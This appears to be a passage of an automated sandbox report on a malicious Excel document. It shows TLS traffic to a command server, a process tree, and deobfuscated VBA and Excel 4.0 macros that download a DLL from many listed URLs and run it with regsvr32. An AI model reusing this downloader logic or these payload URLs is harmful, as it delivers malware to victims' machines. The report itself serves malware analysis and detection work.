Jan 11, 2021 20:49:01.635515928 CET	77.220.64.37	443	192.168.2.22	49309	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:03.742063999 CET	77.220.64.37	443	192.168.2.22	49313	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:05.829690933 CET	77.220.64.37	443	192.168.2.22	49317	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:07.983521938 CET	77.220.64.37	443	192.168.2.22	49321	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:10.091630936 CET	77.220.64.37	443	192.168.2.22	49325	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:10.363346100 CET	77.220.64.37	443	192.168.2.22	49325	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:12.602010012 CET	77.220.64.37	443	192.168.2.22	49329	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:14.691394091 CET	77.220.64.37	443	192.168.2.22	49333	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:16.782727003 CET	77.220.64.37	443	192.168.2.22	49337	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:18.908240080 CET	77.220.64.37	443	192.168.2.22	49341	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:21.025764942 CET	77.220.64.37	443	192.168.2.22	49345	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:23.132543087 CET	77.220.64.37	443	192.168.2.22	49349	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:25.253665924 CET	77.220.64.37	443	192.168.2.22	49353	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:27.361910105 CET	77.220.64.37	443	192.168.2.22	49357	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:29.545078993 CET	77.220.64.37	443	192.168.2.22	49361	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:31.731226921 CET	77.220.64.37	443	192.168.2.22	49365	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:33.865737915 CET	77.220.64.37	443	192.168.2.22	49369	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:35.922477961 CET	77.220.64.37	443	192.168.2.22	49373	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:38.016786098 CET	77.220.64.37	443	192.168.2.22	49377	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:40.432838917 CET	77.220.64.37	443	192.168.2.22	49381	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:42.567636967 CET	77.220.64.37	443	192.168.2.22	49385	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:44.693638086 CET	77.220.64.37	443	192.168.2.22	49389	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:46.785083055 CET	77.220.64.37	443	192.168.2.22	49393	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:49:48.890332937 CET	77.220.64.37	443	192.168.2.22	49397	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2300 Parent PID: 584

General

Start time:	20:47:36
Start date:	11/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fef0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 960 Parent PID: 2300

General

Start time:	20:47:43
Start date:	11/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll.
Imagebase:	0xff490000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 3008 Parent PID: 960

General

Start time:	20:47:43
Start date:	11/01/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll.
Imagebase:	0xfa0000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: DW20.EXE PID: 2432 Parent PID: 2300

General

Start time:	20:48:01
Start date:	11/01/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE
Wow64 process (32bit):	false
Commandline:	'C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1016
Imagebase:	0x13f0f0000
File size:	995024 bytes
MD5 hash:	45A078B2967E0797360A2D4434C41DB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: DWWIN.EXE PID: 3068 Parent PID: 2432

General

Start time:	20:48:01
Start date:	11/01/2021
Path:	C:\Windows\System32\DWWIN.EXE
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dwwin.exe -x -s 1016
Imagebase:	0xff080000
File size:	152576 bytes
MD5 hash:	25247E3C4E7A7A73BAEEA6C0008952B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Module1

Declaration

Line	Content
1	Attribute VB_Name = "Module1"

Executed Functions

Function pagesREviewsd, APIs: 16, Strings: 7, Number of lines: 22, Relevance: 56.022

APIs	Meta Information
Cells
SpecialCells
xlCellTypeConstants
value
Chr
Row
Split
Split
Cells
Replace	Replace("SET.NAME("b0b",CHAR(101))","?","https://education.scrollx.in/w80l82r.zip") -> SET.NAME("b0b",CHAR(101)) Replace("SET.NAME("v0","n")","?","http://laboratoriostabbler.com/c942pn.rar") -> SET.NAME("v0","n") Replace("SET.NAME("i0","J")","?","http://sihtc.gtranzit.com/sgrc47di.rar") -> SET.NAME("i0","J") Replace("CANCEL.KEY(TRUE)","?","https://www.gfischool.org/u4xbtzk.rar") -> CANCEL.KEY(TRUE) Replace("SET.NAME("w00","\")","?","http://laboratoriostabbler.com/c942pn.rar") -> SET.NAME("w00","\") Replace("IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(FALSE))","?","https://9ehosting.com/vf6wahje.zip") -> IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(FALSE)) Replace("SET.NAME("bb",LEFT(GET.WORKSPACE(23),(FIND("Roaming",GET.WORKSPACE(23),1)-1))&"Local"&w00&"T"&b0b&"mp"&w00)","?","http://www.maapaaevents.com/g11qoa5.zip") -> SET.NAME("bb",LEFT(GET.WORKSPACE(23),(FIND("Roaming",GET.WORKSPACE(23),1)-1))&"Local"&w00&"T"&b0b&"mp"&w00) Replace("SET.NAME("o0","32")","?","http://www.maapaaevents.com/g11qoa5.zip") -> SET.NAME("o0","32") Replace("CANCEL.KEY(TRUE)","?","https://midas-mortgage.com/raycph0.zip") -> CANCEL.KEY(TRUE) Replace("SET.NAME("oo0","?")","?","http://wexfashion.com/k04qkvqu.zip") -> SET.NAME("oo0","http://wexfashion.com/k04qkvqu.zip") Replace("SET.NAME("ab",LEFT(CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97),RAND()8+5)&".dll")","?","http://immunoboosters.com/y0s4rt.zip") -> SET.NAME("ab",LEFT(CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97),RAND()8+5)&".dll") Replace("SET.NAME("w00",b0b)","?","http://omescortcargo.com/jzj2gw.zip") -> SET.NAME("w00",b0b) Replace("SET.NAME("ba",".")","?","http://tamarackdaycare.ca/rrv2vk8.rar") -> SET.NAME("ba",".") Replace("CANCEL.KEY(TRUE)","?","http://ozelenenie.pp.ua/xad05r9ba.zip") -> CANCEL.KEY(TRUE) Replace("SET.NAME("ohgdfww","Dow"&v0&"loadToFil"&w00)","?","https://datxanhgemskyworldvn.com/vis2005c3.zip") -> SET.NAME("ohgdfww","Dow"&v0&"loadToFil"&w00) Replace("SET.NAME("v0","O")","?","http://salonprem.ru/op291r.rar") -> SET.NAME("v0","O") Replace("SET.NAME("wegb","URLM"&v0&"N")","?","https://education.scrollx.in/w80l82r.zip") -> SET.NAME("wegb","URLM"&v0&"N") Replace("CALL(wegb,"URL"&ohgdfww&"A",i0&i0&"CC"&i0&i0,0,oo0,bb&ab&ba,0,0)","?","https://9ehosting.com/vf6wahje.zip") -> CALL(wegb,"URL"&ohgdfww&"A",i0&i0&"CC"&i0&i0,0,oo0,bb&ab&ba,0,0) Replace("SET.NAME("ohgdfww","h"&w00&"llEx"&w00&"cut"&w00)","?","http://bahia.consultoriass.es/xka8p2.rar") -> SET.NAME("ohgdfww","h"&w00&"llEx"&w00&"cut"&w00) Replace("SET.NAME("wegb","Sh"&w00&"ll")","?","http://salonprem.ru/op291r.rar") -> SET.NAME("wegb","Sh"&w00&"ll") Replace("CALL(wegb&o0,"S"&ohgdfww&"A",i0&i0&"CCCC"&i0,0,v0&"p"&w00&"n","r"&w00&"gsvr"&o0," -s "&bb&ab&ba,0,0)","?","http://impulsetest.co.uk/nbk13g.rar") -> CALL(wegb&o0,"S"&ohgdfww&"A",i0&i0&"CCCC"&i0,0,v0&"p"&w00&"n","r"&w00&"gsvr"&o0," -s "&bb&ab&ba,0,0) Replace("SET.NAME("b0b",CHAR(101))","?","http://sihtc.gtranzit.com/sgrc47di.rar") -> SET.NAME("b0b",CHAR(101)) Replace("SET.NAME("v0","n")","?","http://cooltcat.com/hiytvys.rar") -> SET.NAME("v0","n") Replace("SET.NAME("i0","J")","?","https://www5.ritamartins.pt/d4bfa7nne.zip") -> SET.NAME("i0","J") Replace("CANCEL.KEY(TRUE)","?","http://opinionglobal.com.do/ceepq536n.zip") -> CANCEL.KEY(TRUE) Replace("SET.NAME("w00","\")","?","http://helloprintcv.com.br/fdkhiec.rar") -> SET.NAME("w00","\") Replace("IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(FALSE))","?","http://tamarackdaycare.ca/rrv2vk8.rar") -> IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(FALSE)) Replace("SET.NAME("bb",LEFT(GET.WORKSPACE(23),(FIND("Roaming",GET.WORKSPACE(23),1)-1))&"Local"&w00&"T"&b0b&"mp"&w00)","?","https://elcookcore.com/s2jetj.zip") -> SET.NAME("bb",LEFT(GET.WORKSPACE(23),(FIND("Roaming",GET.WORKSPACE(23),1)-1))&"Local"&w00&"T"&b0b&"mp"&w00) Replace("SET.NAME("o0","32")","?","https://9ehosting.com/vf6wahje.zip") -> SET.NAME("o0","32") Replace("CANCEL.KEY(TRUE)","?","http://wexfashion.com/k04qkvqu.zip") -> CANCEL.KEY(TRUE) Replace("SET.NAME("oo0","?")","?","http://www.sustaino2.com/q0ig4v.rar") -> SET.NAME("oo0","http://www.sustaino2.com/q0ig4v.rar") Replace("SET.NAME("ab",LEFT(CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97),RAND()8+5)&".dll")","?","http://medicalconsultants.ie/qr2hqhg5o.rar") -> SET.NAME("ab",LEFT(CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97)&CHAR(RAND()26+97),RAND()8+5)&".dll") Replace("SET.NAME("w00",b0b)","?","https://benditoassociates.com/l7rgi3xyd.zip") -> SET.NAME("w00",b0b) Replace("SET.NAME("ba",".")","?","http://suddisagara.com/y755j7515.zip") -> SET.NAME("ba",".") Replace("CANCEL.KEY(TRUE)","?","https://ypsilon.net.ar/ye6tmqi.zip") -> CANCEL.KEY(TRUE) Replace("SET.NAME("ohgdfww","Dow"&v0&"loadToFil"&w00)","?","http://opinionglobal.com.do/ceepq536n.zip") -> SET.NAME("ohgdfww","Dow"&v0&"loadToFil"&w00) Replace("SET.NAME("v0","O")","?","https://www.gfischool.org/u4xbtzk.rar") -> SET.NAME("v0","O") Replace("SET.NAME("wegb","URLM"&v0&"N")","?","https://midas-mortgage.com/raycph0.zip") -> SET.NAME("wegb","URLM"&v0&"N") Replace("CALL(wegb,"URL"&ohgdfww&"A",i0&i0&"CC"&i0&i0,0,oo0,bb&ab&ba,0,0)","?","http://jobmonster.atwebpages.com/r562ibujk.rar") -> CALL(wegb,"URL"&ohgdfww&"A",i0&i0&"CC"&i0&i0,0,oo0,bb&ab&ba,0,0)
Part of subcall function ecimovert@Module1: Int
Part of subcall function ecimovert@Module1: UBound
Part of subcall function ecimovert@Module1: Rnd
Split
MsgBox
Run	Run("moreP_ab") Run("moreP_ab")

Strings	Decrypted Strings
"!"
""""
"="
"?"
"="
"?"
""""

Line	Instruction	Meta Information
7	Function pagesREviewsd(optional wq as Integer) as Integer
8	Dim O as Integer	executed
8	Dim Oa as Integer
8	ol = 1
9	Sheets(ol).Cells(homepodd, ol).Name = bycilke & "ab"	Cells
10	Dim MiV(44563)
11	For Each sem in ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)	SpecialCells xlCellTypeConstants
12	MiV(sem.value) = Chr(sem.Row)	value Chr Row
13	Next	SpecialCells xlCellTypeConstants
14	For Each nog in MiV
15	govs = govs + nog
16	Next
17	Oa = 9
17	kij = Split(govs, "!")	Split
17	Ada = Split(kij(ol), yellowsto(homepodd))	Split
18	For Each Vo in Ada
19	Sheets(ol).Cells(homepodd, ol).value = "=" & Replace(Vo, "?", ecimovert(Split(kij(0), yellowsto(Oa))))	Cells Replace("SET.NAME("b0b",CHAR(101))","?","https://education.scrollx.in/w80l82r.zip") -> SET.NAME("b0b",CHAR(101)) Split executed
20	On Error Resume Next
21	MsgBox (Run("" & bycilke & "ab"))	MsgBox Run("moreP_ab") executed
22	Next
22	Oa = 2
23	End Function

Function yellowsto, APIs: 0, Strings: 3, Number of lines: 6, Relevance: 3.756

Strings	Decrypted Strings
"$"
"]"
"]"

Line	Instruction	Meta Information
33	Function yellowsto(yel as Integer)
34	yellowsto = "$"	executed
35	If yel = 2 Then
35	yellowsto = "]"
35	Endif
36	End Function

Function ecimovert, APIs: 3, Strings: 0, Number of lines: 5, Relevance: 3.755

APIs	Meta Information
Int
UBound
Rnd

Line	Instruction	Meta Information
27	Function ecimovert(nimo as Variant) as String
27	Randomize:	executed
28	df = 2 - 1
28	ecimovert = nimo(Int((UBound(nimo) + df) * Rnd))	Int UBound Rnd
29	End Function

Function bycilke, APIs: 0, Strings: 1, Number of lines: 3, Relevance: 1.253

Strings	Decrypted Strings
"moreP_"

Line	Instruction	Meta Information
24	Function bycilke()
25	bycilke = "moreP_"	executed
26	End Function

Function homepodd, APIs: 0, Strings: 0, Number of lines: 3, Relevance: 0.003

Line	Instruction	Meta Information
3	Function homepodd()
4	homepodd = 5 - 3	executed
5	End Function

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True
9	Attribute VB_Control = "view_1_a, 1, 0, MSForms, MultiPage"

Executed Functions

Subroutine view_1_a_Layout, APIs: 2, Strings: 0, Number of lines: 4, Relevance: 4.504

APIs	Meta Information
Part of subcall function ResizePagess@Sheet1: OnTime
Part of subcall function ResizePagess@Sheet1: Now

Line	Instruction	Meta Information
13	Private Sub view_1_a_Layout(ByVal Index as Long)
14	a = 488	executed
14	ResizePagess
15	End Sub

Subroutine ResizePagess, APIs: 2, Strings: 1, Number of lines: 3, Relevance: 4.503

APIs	Meta Information
OnTime
Now

Strings	Decrypted Strings
"pages""REviewsd"

Line	Instruction	Meta Information
10	Sub ResizePagess()
11	Application.OnTime Now, "pages" & "REviewsd"	OnTime Now executed
12	End Sub

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: regsvr32.exe PID: 3008 Parent PID: 960 regsvr32.exeCOMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	77.1%
Signature Coverage:	25%
Total number of Nodes:	48
Total number of Limit Nodes:	5

Executed Functions

Function 001CB780, Relevance: 65.0, APIs: 3, Strings: 34, Instructions: 297
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 001CB7D1
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 001CB8D3
NtSetInformationProcess.NTDLL(000000FF,00000022,00000002,00000004), ref: 001CBB1D

Strings

S, xrefs: 001CBA89
., xrefs: 001CBA75
l, xrefs: 001CBA7D
l, xrefs: 001CBA81
e, xrefs: 001CBA71
e, xrefs: 001CBAD5
e, xrefs: 001CBA8D
s, xrefs: 001CBA5D
d, xrefs: 001CBA79
D, xrefs: 001CBAB1
s, xrefs: 001CBADD
P, xrefs: 001CBA95
r, xrefs: 001CBA99
n, xrefs: 001CBAD1
h, xrefs: 001CBA61
s, xrefs: 001CBAAD
c, xrefs: 001CBAA1
ntdll.dll, xrefs: 001CBAE5, 001CBAE8
o, xrefs: 001CBA69
A, xrefs: 001CBABD
e, xrefs: 001CBAA5
r, xrefs: 001CBA6D
s, xrefs: 001CBAA9
t, xrefs: 001CBA91
s, xrefs: 001CBAD9
w, xrefs: 001CBAC1
NtSetInformationProcess, xrefs: 001CBAF7, 001CBAFA
i, xrefs: 001CBAB9
c, xrefs: 001CBA65
e, xrefs: 001CBACD
p, xrefs: 001CBAB5
r, xrefs: 001CBAC9
o, xrefs: 001CBA9D
a, xrefs: 001CBAC5

Memory Dump Source

Source File: 00000004.00000002.2374283182.0000000000190000.00000040.00000001.sdmp, Offset: 00190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_190000_regsvr32.jbxd

Similarity

API ID: AllocVirtual$InformationProcess
String ID: .$A$D$NtSetInformationProcess$P$S$a$c$c$d$e$e$e$e$e$h$i$l$l$n$ntdll.dll$o$o$p$r$r$r$s$s$s$s$s$t$w
API String ID: 909339949-3052210031
Opcode ID: 97769fb1da223d042207744e2717f0fc49578be2e3c1aaca9d71a9948057ec57
Instruction ID: b3ff95f55c68b556ef3728df17e66b69eaa7d4ef6fe64d8eb4ead1da45ce592f
Opcode Fuzzy Hash: 97769fb1da223d042207744e2717f0fc49578be2e3c1aaca9d71a9948057ec57
Instruction Fuzzy Hash: 69E12174D08288DFDB05CB98C485BDEBBB1AF59304F14819CE5486F382C3BAA955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 001CBA14, Relevance: 61.3, APIs: 1, Strings: 34, Instructions: 79
